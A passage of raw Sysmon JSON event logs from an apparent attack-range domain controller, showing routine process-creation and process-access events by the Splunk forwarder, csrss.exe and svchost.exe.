Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1963,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.493\r\nProcessGuid: {90617006-3FE8-5F2D-0000-0010DA410300}\r\nProcessId: 3984\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal check-xml-files --answer-yes --no-prompt 2>&1\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.493","ProcessGuid":"{90617006-3FE8-5F2D-0000-0010DA410300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal check-xml-files --answer-yes --no-prompt 2>&1","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1964,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010BC070300}\r\nTargetProcessId: 3984\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+edcb8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+eef54|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ebd46|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010BC070300}","TargetProcessId":"3984","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+edcb8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+eef54|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ebd46|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1965,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010BC070300}\r\nTargetProcessId: 3984\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010BC070300}","TargetProcessId":"3984","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1966,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1967,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1968,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1969,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1970,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1971,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 